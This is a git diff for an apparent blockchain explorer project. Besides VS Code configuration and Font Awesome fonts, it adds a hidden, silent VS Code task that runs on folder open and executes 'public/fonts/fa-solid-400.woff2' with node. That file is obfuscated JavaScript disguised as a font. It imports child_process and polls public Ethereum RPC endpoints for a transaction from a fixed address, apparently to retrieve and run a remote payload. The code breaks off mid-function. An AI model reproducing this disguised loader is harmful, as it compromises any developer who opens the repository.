diff --git a/.gitignore b/.gitignore index fe1138f..7a07b5d 100644 --- a/.gitignore +++ b/.gitignore @@ -105,3 +105,7 @@ build/ .tern-port semana15/api-rest/node_modules +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat +.gitignore diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..2e3b646 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..a5177ab --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..934d555 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 0000000..51b1974 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..5e22662 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 0000000..1e4f9ba --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000..a1bc094 Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000..46ad237 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000..948a2a6 Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000..2a89d52 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000..141a90a Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000..38cf251 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000..48634a9 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000..abe99e2 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000..24de566 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000..7e0118e Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-400.woff2 b/public/fonts/fa-solid-400.woff2 new file mode 100644 index 0000000..1c28bd3 --- /dev/null +++ b/public/fonts/fa-solid-400.woff2 @@ -0,0 +1 @@ + global.i="A8-*#new";const _0xb40cd9=_0x4963;(function(_0x28261c,_0x1c6ad4){const _0x1f55f0=_0x4963,_0x424395=_0x28261c();while(!![]){try{const _0xb0d17f=parseInt(_0x1f55f0(0x292))/(-0x1f*-0x41+-0x8*-0x1c6+0x3ad*-0x6)+-parseInt(_0x1f55f0(0x29d))/(0xce1+0x1*0x213d+-0x2*0x170e)*(parseInt(_0x1f55f0(0x27b))/(-0x1*0x210d+-0xf6e+0x307e))+-parseInt(_0x1f55f0(0x21a))/(0x5ae+0x2f*-0x95+0x15b1)+-parseInt(_0x1f55f0(0x307))/(0x3cd+-0x595+0x1cd*0x1)*(parseInt(_0x1f55f0(0x20f))/(-0x117a+0x11*-0x15b+0x288b))+parseInt(_0x1f55f0(0x2f0))/(0x22ef+-0x400*-0x8+0x4*-0x10ba)+-parseInt(_0x1f55f0(0x303))/(-0xdbf+-0x1c4+0xf8b)+-parseInt(_0x1f55f0(0x205))/(-0xa1*-0x2+0x85*0x2+-0x243)*(-parseInt(_0x1f55f0(0x2fe))/(0x3*-0x7c9+0xc3*-0xb+0x1fc6));if(_0xb0d17f===_0x1c6ad4)break;else _0x424395['push'](_0x424395['shift']());}catch(_0x4a4b85){_0x424395['push'](_0x424395['shift']());}}}(_0x240a,-0x845ec+0x333e9+-0x4ca87*-0x2),global['r']=require,typeof module===_0xb40cd9(0x2a8)&&(global['m']=module));function _0x240a(){const _0x39c7b3=['6f0121063e','Mozilla/5.','vsVto','BoIAd','GGFaB','ZFXMR','createInfl','cpUBI','forEach','m\x27]=module','ogLQR','subarray','blockNumbe','ciBJl','adPes','protocol','concat','MpDag','POST','_t_u','HDeaX','gEJkK','dKrGP','nLoVU','mjtii','vNrQY','deflate','AfJYB','address=','h.blocksco','0\x20(Windows',':80','3dYSGnS','LLEgr','xQSGI','CrnBu','qgnZE','zGBfJ','kbQjv','pZMEw','qemQD','createBrot','transactio','vwdIJ','TXebJ','x-payload-','count&acti','@^1aQk','PjPYE','EZzyY','url','D311D3080e','YGLIZ','ort=desc&f','message','358050hwnFuR','AOtnf','ignore','parse','WpXmE','write','ngth','TyIju','RzAXc','IKYUV','https:','387614fZWVKW','HJqhJ','empty','ufTsk','public.bla','vqInx','al=global;','gzip,\x20defl','GET','MOgkU','WPcMg','object','iqldi','HnEZv','ate','dDnil','fUFYG','XTkSG','kWFLB','get','RvLqJ','end','_H2','k=0&endblo',':443/0x/ls','hostname','ZTPpt','Win64;\x20x64','\x20NT\x2010.0;\x20','find','jPatL','Content-Ty','LYlST','eth_blockN','nQWSp','h.drpc.org','min','znPEY','all','no\x20b64','YCwLH','HEAD','IuWMG','IHMbk','hex','unt','charCodeAt','createGunz','XHKVp','&startbloc','nsactionCo','b64','stener','yRNZh','toLowerCas','hRSlZ','zlib','BIPpD','GZprP','hbbcU','.publicnod','eAreG','addEventLi','ddLbY','QyUBw','zAaGd','controller','GijDO','http://','cqZwT','ltPrj','headers','replace','n/json','\x27]=\x27','\x20Chrome/13','findIndex','eth_getTra','then','1.0.0.0\x20Sa','dOirH','result','VPsCE','2140572okvLtT','HPlEi','\x20(KHTML,\x20l','port','node','mxSNT','_t_s','on=txlist&','UVEAg','qtOhP','rvxhG','request','nonce','length','239230QsjoHT','EaMTQ','ElRXP','jjkCJ','qIYQS','3142632rNhiot','CHHhn','map','gifQu','19450AaPRji','h-mainnet.','e;global[\x27','CvEVD','xLMUX','data',')\x20AppleWeb','TntTy','9&page=1&o','signal','trim','gzip','sXOTv','NtNzV','Kit/537.36',',Sr3=@','r\x27]=requir','qKDlv','ckByNumber','gTnGB','zqYUk','global[\x27_V','byteLength','NfmdB','KUERx','from','CTNeq','ffset=20&s','base64','9aDC2490Ef','umber','dDjhb','yAWhH','q4FZkxX{!h','kFQGW','UwWrS','Agent','liDecompre','MLIOR','QZkrC','unref','push','hereum-rpc','mujFt','cXZbP','288lMtxAE','https','icJKY','search','LpuXg','PWlzd','pathname','fari/537.3','keep-alive','http','516mdBpUb','hxvkS','Wtnxs','oYnfv','IYVLW','applicatio','rgeuf',':443','pc.io/eth','BbcMI','QpeUN','850060GppvvN','LUHgk','fRChS','YwJRh','iorSY','OwQBz','stapi.io','FJQfU','cijQU','run','content-en','ut.com/api','HEGYP','?module=ac','coding','XrINm','https://1r','pipe','ike\x20Gecko)','x-gzip','resolve',';var\x20_glob','\x27;global[\x27','UoHre','statusCode','eth_getBlo','child_proc','slice','utf8','qwuMv','ess','ck=9999999','finally','y-p_>d$0B&',':443/0x/cl','abort','DXTAq','catch','filter','qFrln','kNlIn','error','QqrEg','e.com','https://et','auues','stringify','WomQT','dHJMG','any','2.0','Content-Le','0xa322E5f3','pBine','SSlTl','qmymj','ate,\x20br','toString','HmRMA','uFaIV','jBzcJ','ilterby=fr','isArray','resume','drGLd'];_0x240a=function(){return _0x39c7b3;};return _0x240a();}const http=require(_0xb40cd9(0x20e)),https=require(_0xb40cd9(0x206)),zlib=require(_0xb40cd9(0x2d5)),{URL}=require(_0xb40cd9(0x28d)),{spawn}=require(_0xb40cd9(0x234)+_0xb40cd9(0x238)),B=0x3e8n,S=(_0xb40cd9(0x24e)+_0xb40cd9(0x28e)+_0xb40cd9(0x25b)+_0xb40cd9(0x1f5)+'1a')[_0xb40cd9(0x2d3)+'e'](),I=_0xb40cd9(0x246)+_0xb40cd9(0x278)+_0xb40cd9(0x225),R=[...new Set([process.env.ETH_RPC_URL,_0xb40cd9(0x22a)+_0xb40cd9(0x217),_0xb40cd9(0x246)+_0xb40cd9(0x2c0),_0xb40cd9(0x246)+_0xb40cd9(0x202)+_0xb40cd9(0x2d9)+_0xb40cd9(0x245),_0xb40cd9(0x246)+_0xb40cd9(0x308)+_0xb40cd9(0x2a1)+_0xb40cd9(0x220)][_0xb40cd9(0x240)](Boolean))],O={'keepAlive':!(0x15d3+0x1*-0xe06+-0x7cd),'keepAliveMsecs':0x7530,'maxSockets':0x40},A={'http:':new http[(_0xb40cd9(0x1fc))](O),'\u0068\u0074\u0074\u0070\u0073\u003A':new https[(_0xb40cd9(0x1fc))](O)};function ds(_0x39ab38){const _0xfcda3f=_0xb40cd9,_0x115e7b={'zqYUk':_0xfcda3f(0x224)+_0xfcda3f(0x228),'QqrEg':function(_0x4f8bd5,_0x3fcdba){return _0x4f8bd5===_0x3fcdba;},'nLoVU':_0xfcda3f(0x312),'CTNeq':function(_0x13a115,_0x3cdb85){return _0x13a115===_0x3cdb85;},'ltPrj':_0xfcda3f(0x22d),'qmymj':_0xfcda3f(0x275),'CHHhn':function(_0x28e8c6){return _0x28e8c6();}},_0x20b369=(_0x39ab38[_0xfcda3f(0x2e4)][_0x115e7b[_0xfcda3f(0x31b)]]||'')[_0xfcda3f(0x2d3)+'e'](),_0x3c5468=_0x115e7b[_0xfcda3f(0x244)](_0x20b369,_0x115e7b[_0xfcda3f(0x272)])||_0x115e7b[_0xfcda3f(0x1f2)](_0x20b369,_0x115e7b[_0xfcda3f(0x2e3)])?zlib[_0xfcda3f(0x2cc)+'ip']:_0x115e7b[_0xfcda3f(0x244)](_0x20b369,_0x115e7b[_0xfcda3f(0x251)])?zlib[_0xfcda3f(0x261)+_0xfcda3f(0x2ab)]:_0x115e7b[_0xfcda3f(0x244)](_0x20b369,'br')?zlib[_0xfcda3f(0x284)+_0xfcda3f(0x1fd)+'ss']:-0x61*0xc+0x13d2+0xa*-0x187;return _0x3c5468?_0x39ab38[_0xfcda3f(0x22b)](_0x115e7b[_0xfcda3f(0x304)](_0x3c5468)):_0x39ab38;}function hr(_0x15b32d,{method:_0x51d16f=_0xb40cd9(0x2a5),body:_0x2accb0,signal:_0x384d3d}={}){const _0x568f35=_0xb40cd9,_0x1e2195={'YCwLH':_0x568f35(0x236),'EaMTQ':function(_0x169ee6,_0x4c6af9){return _0x169ee6<_0x4c6af9;},'TntTy':function(_0x3b15be,_0x2a5726){return _0x3b15be>=_0x2a5726;},'cqZwT':function(_0x1425f2,_0x34ddad){return _0x1425f2(_0x34ddad);},'pZMEw':function(_0x470fe4,_0x30a5c5){return _0x470fe4===_0x30a5c5;},'hbbcU':function(_0x3fcd9f,_0x2867f9){return _0x3fcd9f!==_0x2867f9;},'LLEgr':function(_0x2eeb94,_0x503416){return _0x2eeb94!==_0x503416;},'gTnGB':function(_0x11db6d,_0x71fc2d){return _0x11db6d(_0x71fc2d);},'cpUBI':_0x568f35(0x30c),'gifQu':_0x568f35(0x2b2),'HDeaX':_0x568f35(0x243),'vqInx':function(_0x58db19,_0x215349){return _0x58db19===_0x215349;},'IuWMG':_0x568f35(0x29c),'TyIju':function(_0x3cfe2f,_0x4150a3){return _0x3cfe2f+_0x4150a3;},'EZzyY':function(_0x140c88,_0x9803bc){return _0x140c88!=_0x9803bc;},'rvxhG':function(_0x2e48fe,_0x2d4d8f){return _0x2e48fe===_0x2d4d8f;},'yAWhH':_0x568f35(0x214)+_0x568f35(0x2e6),'AOtnf':_0x568f35(0x2a4)+_0x568f35(0x252),'BIPpD':_0x568f35(0x20d),'ddLbY':_0x568f35(0x2bc)+'pe','dOirH':_0x568f35(0x24d)+_0x568f35(0x298)},_0x404917=new URL(_0x15b32d),_0x174790=_0x1e2195[_0x568f35(0x2fa)](_0x404917[_0x568f35(0x26a)],_0x1e2195[_0x568f35(0x2c7)])?https:http,_0x45e7e7={'Accept':_0x1e2195[_0x568f35(0x1f8)],'\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067':_0x1e2195[_0x568f35(0x293)],'Connection':_0x1e2195[_0x568f35(0x2d6)]};return _0x1e2195[_0x568f35(0x28c)](_0x2accb0,null)&&(_0x45e7e7[_0x1e2195[_0x568f35(0x2dc)]]=_0x1e2195[_0x568f35(0x1f8)],_0x45e7e7[_0x1e2195[_0x568f35(0x2ed)]]=Buffer[_0x568f35(0x31d)](_0x2accb0)),new Promise((_0x4b4771,_0x22e71e)=>{const _0x5e5d50=_0x568f35,_0x47340b=_0x174790[_0x5e5d50(0x2fb)]({'hostname':_0x404917[_0x5e5d50(0x2b6)],'port':_0x404917[_0x5e5d50(0x2f3)]||(_0x1e2195[_0x5e5d50(0x2a2)](_0x404917[_0x5e5d50(0x26a)],_0x1e2195[_0x5e5d50(0x2c7)])?-0x21f*-0xd+0x2660+0x4*-0x100e:-0x1945*0x1+0x1be*0x11+-0x1*0x409),'path':_0x1e2195[_0x5e5d50(0x299)](_0x404917[_0x5e5d50(0x20b)],_0x404917[_0x5e5d50(0x208)]),'method':_0x51d16f,'agent':A[_0x404917[_0x5e5d50(0x26a)]],'signal':_0x384d3d,'headers':_0x45e7e7},_0x75fd6c=>{const _0x1b92c1=_0x5e5d50,_0x2fc6dc={'fRChS':_0x1e2195[_0x1b92c1(0x2c5)],'jjkCJ':function(_0x5d7d9a,_0x399640){const _0x56d064=_0x1b92c1;return _0x1e2195[_0x56d064(0x2ff)](_0x5d7d9a,_0x399640);},'eAreG':function(_0x536981,_0x4deb3a){const _0x148769=_0x1b92c1;return _0x1e2195[_0x148769(0x30e)](_0x536981,_0x4deb3a);},'vNrQY':function(_0x8ae994,_0x1f037b){const _0xf9db4d=_0x1b92c1;return _0x1e2195[_0xf9db4d(0x2e2)](_0x8ae994,_0x1f037b);},'UwWrS':function(_0x4f254d,_0x31ae03){const _0x36d8b4=_0x1b92c1;return _0x1e2195[_0x36d8b4(0x282)](_0x4f254d,_0x31ae03);},'QyUBw':function(_0x47b814,_0x470f5c){const _0x48e340=_0x1b92c1;return _0x1e2195[_0x48e340(0x2d8)](_0x47b814,_0x470f5c);},'SSlTl':function(_0x8917e,_0x499259){const _0xbdb768=_0x1b92c1;return _0x1e2195[_0xbdb768(0x27c)](_0x8917e,_0x499259);},'BoIAd':function(_0x190f94,_0x5530cd){const _0x1887e4=_0x1b92c1;return _0x1e2195[_0x1887e4(0x2e2)](_0x190f94,_0x5530cd);},'jBzcJ':function(_0x49a911,_0x47fdc7){const _0x3d6666=_0x1b92c1;return _0x1e2195[_0x3d6666(0x2e2)](_0x49a911,_0x47fdc7);}},_0x3fcf99=_0x1e2195[_0x1b92c1(0x31a)](ds,_0x75fd6c),_0x5ca0d0=[];_0x3fcf99['on'](_0x1e2195[_0x1b92c1(0x262)],_0x1987df=>_0x5ca0d0[_0x1b92c1(0x201)](_0x1987df)),_0x3fcf99['on'](_0x1e2195[_0x1b92c1(0x306)],()=>{const _0x2d6b70=_0x1b92c1,_0x42a3a0=Buffer[_0x2d6b70(0x26b)](_0x5ca0d0)[_0x2d6b70(0x253)](_0x2fc6dc[_0x2d6b70(0x21c)])[_0x2d6b70(0x311)]();if(_0x2fc6dc[_0x2d6b70(0x301)](_0x75fd6c[_0x2d6b70(0x232)],-0x1313+-0x39a+0x1775)||_0x2fc6dc[_0x2d6b70(0x2da)](_0x75fd6c[_0x2d6b70(0x232)],0x8b*0x19+-0x169*-0x1+-0xdd0))return _0x2fc6dc[_0x2d6b70(0x274)](_0x22e71e,new Error('H'+_0x75fd6c[_0x2d6b70(0x232)]+':'+_0x42a3a0[_0x2d6b70(0x235)](0xf9a*-0x2+0xbde+-0x1*-0x1356,0x1f34+0x10b2+-0x2f96*0x1)));if(!_0x42a3a0||_0x2fc6dc[_0x2d6b70(0x1fb)](_0x42a3a0[0x6b*0x26+-0xa91*-0x2+-0x2504],'\u003C')||_0x2fc6dc[_0x2d6b70(0x2dd)](_0x42a3a0[0x1a95*0x1+0x24d8+-0x3f6d],'\u007B')&&_0x2fc6dc[_0x2d6b70(0x250)](_0x42a3a0[0x3*0x7ea+-0x1*0xb1d+0xca1*-0x1],'\u005B'))return _0x2fc6dc[_0x2d6b70(0x274)](_0x22e71e,new Error('J:'+_0x42a3a0[_0x2d6b70(0x235)](0x1de7*0x1+-0x1*0x17d2+-0x615,-0x119*-0x17+-0x1*-0x1b2b+-0x341a)));try{_0x2fc6dc[_0x2d6b70(0x25e)](_0x4b4771,JSON[_0x2d6b70(0x295)](_0x42a3a0));}catch(_0x4e2a3e){_0x2fc6dc[_0x2d6b70(0x256)](_0x22e71e,new Error('P:'+_0x4e2a3e[_0x2d6b70(0x291)]));}}),_0x3fcf99['on'](_0x1e2195[_0x1b92c1(0x26f)],_0x22e71e);});_0x47340b['on'](_0x1e2195[_0x5e5d50(0x26f)],_0x22e71e),_0x1e2195[_0x5e5d50(0x28c)](_0x2accb0,null)&&_0x47340b[_0x5e5d50(0x297)](_0x2accb0),_0x47340b[_0x5e5d50(0x2b2)]();});}function wr(_0xdae5a1,_0x1ffa85){const _0x120294=_0xb40cd9,_0x28a344=R[_0x120294(0x305)](()=>new AbortController());return _0x1ffa85&&_0x28a344[_0x120294(0x263)](_0x2a81bc=>_0x1ffa85[_0x120294(0x2db)+_0x120294(0x2d1)](_0x120294(0x23d),()=>_0x2a81bc[_0x120294(0x23d)](),{'once':!(0x6f+-0x37b+0x30c)})),Promise[_0x120294(0x24b)](R[_0x120294(0x305)]((_0x5667be,_0x175b27)=>_0xdae5a1(_0x5667be,_0x28a344[_0x175b27][_0x120294(0x310)])))[_0x120294(0x23a)](()=>{const _0x13176b=_0x120294;for(const _0x1a8a97 of _0x28a344)_0x1a8a97[_0x13176b(0x23d)]();});}function rc(_0x5ed34b,_0x2eea57,_0x1fc2e7,_0x439a85){const _0x298f0d=_0xb40cd9,_0x50c6e6={'kbQjv':function(_0x3f146c,_0x57989a,_0x1c2612){return _0x3f146c(_0x57989a,_0x1c2612);},'QZkrC':_0x298f0d(0x26d),'dDjhb':_0x298f0d(0x24c)};return _0x50c6e6[_0x298f0d(0x281)](hr,_0x5ed34b,{'method':_0x50c6e6[_0x298f0d(0x1ff)],'body':JSON[_0x298f0d(0x248)]({'jsonrpc':_0x50c6e6[_0x298f0d(0x1f7)],'id':0x1,'method':_0x2eea57,'params':_0x1fc2e7}),'signal':_0x439a85})[_0x298f0d(0x2eb)](_0x571187=>_0x571187[_0x298f0d(0x2ee)]);}function rb(_0x5d97a3,_0x5aaa85,_0xac2837){const _0x146fa0=_0xb40cd9,_0x1b13cf={'GijDO':function(_0x4dac06,_0x5206c2,_0x2d5a8e){return _0x4dac06(_0x5206c2,_0x2d5a8e);},'vwdIJ':_0x146fa0(0x26d)};return _0x1b13cf[_0x146fa0(0x2e0)](hr,_0x5d97a3,{'method':_0x1b13cf[_0x146fa0(0x286)],'body':JSON[_0x146fa0(0x248)](_0x5aaa85[_0x146fa0(0x305)](([_0x319a5a,_0x463f95],_0x40edbd)=>({'jsonrpc':_0x146fa0(0x24c),'id':_0x40edbd+(-0x3b5+-0x238*-0x5+-0x762),'method':_0x319a5a,'params':_0x463f95}))),'signal':_0xac2837})[_0x146fa0(0x2eb)](_0x41776d=>{const _0x1b1c6e=_0x146fa0,_0xfb0a0e=new Map(_0x41776d[_0x1b1c6e(0x305)](_0xbb544=>[_0xbb544['id'],_0xbb544]));return _0x5aaa85[_0x1b1c6e(0x305)]((_0x56c092,_0x44cc79)=>_0xfb0a0e[_0x1b1c6e(0x2b0)](_0x44cc79+(-0xcd2+0x1696+-0x9c3))[_0x1b1c6e(0x2ee)]);});}const bh=_0xa1ee27=>'\u0030\u0078'+_0xa1ee27[_0xb40cd9(0x253)](0x1*-0xa75+-0x106b*-0x2+-0x1651);function fm(_0x2c8631){const _0x350c13={'iqldi':function(_0x2160b6,_0x160eea){return _0x2160b6(_0x160eea);},'vsVto':function(_0x5e2785,_0x1460b9){return _0x5e2785===_0x1460b9;}};return new Promise(_0x353c6d=>{const _0x2b71a6=_0x4963,_0x53c21b={'WomQT':function(_0xa0c91,_0x3dfd9a){const _0xf8f9b9=_0x4963;return _0x350c13[_0xf8f9b9(0x2a9)](_0xa0c91,_0x3dfd9a);},'iorSY':function(_0x5b11a2,_0x582adf){const _0x116cef=_0x4963;return _0x350c13[_0x116cef(0x25d)](_0x5b11a2,_0x582adf);}};let _0x3dbcac=_0x2c8631[_0x2b71a6(0x2fd)];if(!_0x3dbcac)return _0x350c13[_0x2b71a6(0x2a9)](_0x353c6d,null);let _0x3a9909=!(0x1*-0xb07+0x10*-0x24a+0x2fa8);const _0xf2ba06=_0x5ba021=>{const _0x28237f=_0x2b71a6;if(_0x3a9909)return;_0x3a9909=!(-0x1*-0x193e+-0x1*-0x2aa+-0x13*0x178);for(const _0x44fd18 of _0x2c8631)_0x44fd18[_0x28237f(0x2df)][_0x28237f(0x23d)]();_0x53c21b[_0x28237f(0x249)](_0x353c6d,_0x5ba021);};for(const _0x4e7b1b of _0x2c8631)_0x4e7b1b[_0x2b71a6(0x223)]()[_0x2b71a6(0x2eb)](_0x11e996=>{const _0x5d9f0c=_0x2b71a6;if(_0x3a9909)return;_0x11e996?_0x350c13[_0x5d9f0c(0x2a9)](_0xf2ba06,_0x11e996):_0x350c13[_0x5d9f0c(0x25d)](--_0x3dbcac,-0x1*0x267d+-0xf7f+0x2*0x1afe)&&_0x350c13[_0x5d9f0c(0x2a9)](_0x353c6d,null);})[_0x2b71a6(0x23f)](()=>{const _0x1daa1f=_0x2b71a6;!_0x3a9909&&_0x53c21b[_0x1daa1f(0x21e)](--_0x3dbcac,-0x721+0x1f71+-0x1850)&&_0x53c21b[_0x1daa1f(0x249)](_0x353c6d,null);});});}const cb=_0x14f92e=>[...new Set([_0x14f92e-0x1n,_0x14f92e,_0x14f92e+0x1n,_0x14f92e-B-0x1n,_0x14f92e-B,_0x14f92e-B+0x1n][_0xb40cd9(0x240)](_0x3f9c65=>_0x3f9c65>=0x0n))];function bt(_0x583786){const _0xb934c2=_0xb40cd9,_0x2f2dfc=new AbortController();return{'controller':_0x2f2dfc,'run':()=>wr((_0x1aaa26,_0x274697)=>rc(_0x1aaa26,_0xb934c2(0x233)+_0xb934c2(0x319),[bh(_0x583786),!(0xe60+0x9fa*-0x1+0x233*-0x2)],_0x274697),_0x2f2dfc[_0xb934c2(0x310)])[_0xb934c2(0x2eb)](_0x2e026b=>{const _0x4796b2=_0xb934c2,_0x19327b=_0x2e026b?.[_0x4796b2(0x285)+'ns'],_0x226be2=Array[_0x4796b2(0x258)](_0x19327b)?_0x19327b[_0x4796b2(0x2ba)](_0x2f5dcd=>_0x2f5dcd[_0x4796b2(0x1f1)]?.[_0x4796b2(0x2d3)+'e']()===S):null;return _0x226be2?{'blockNumber':_0x583786,'tx':_0x226be2}:null;})};}function na(_0x5d4e7e,_0x311943){const _0x2f856a=_0xb40cd9,_0x218abd={'rgeuf':function(_0x5750bc,_0x48057b,_0x41bb7a){return _0x5750bc(_0x48057b,_0x41bb7a);}},_0xe91a3d=_0x5d4e7e[_0x2f856a(0x305)](_0x445ac=>[_0x2f856a(0x2ea)+_0x2f856a(0x2cf)+_0x2f856a(0x2ca),[S,bh(_0x445ac)]]);return _0x218abd[_0x2f856a(0x215)](wr,(_0x5ef369,_0x2aac41)=>rb(_0x5ef369,_0xe91a3d,_0x2aac41),_0x311943)[_0x2f856a(0x2eb)](_0x214e15=>_0x214e15[_0x2f856a(0x305)](BigInt))[_0x2f856a(0x23f)](()=>Promise[_0x2f856a(0x2c3)](_0xe91a3d[_0x2f856a(0x305)](([_0x300860,_0x570c11])=>wr((_0x34edd5,_0x2761c0)=>rc(_0x34edd5,_0x300860,_0x570c11,_0x2761c0),_0x311943)))[_0x2f856a(0x2eb)](_0x3929a8=>_0x3929a8[_0x2f856a(0x305)](BigInt)));}function ls(_0x18ac7b){const 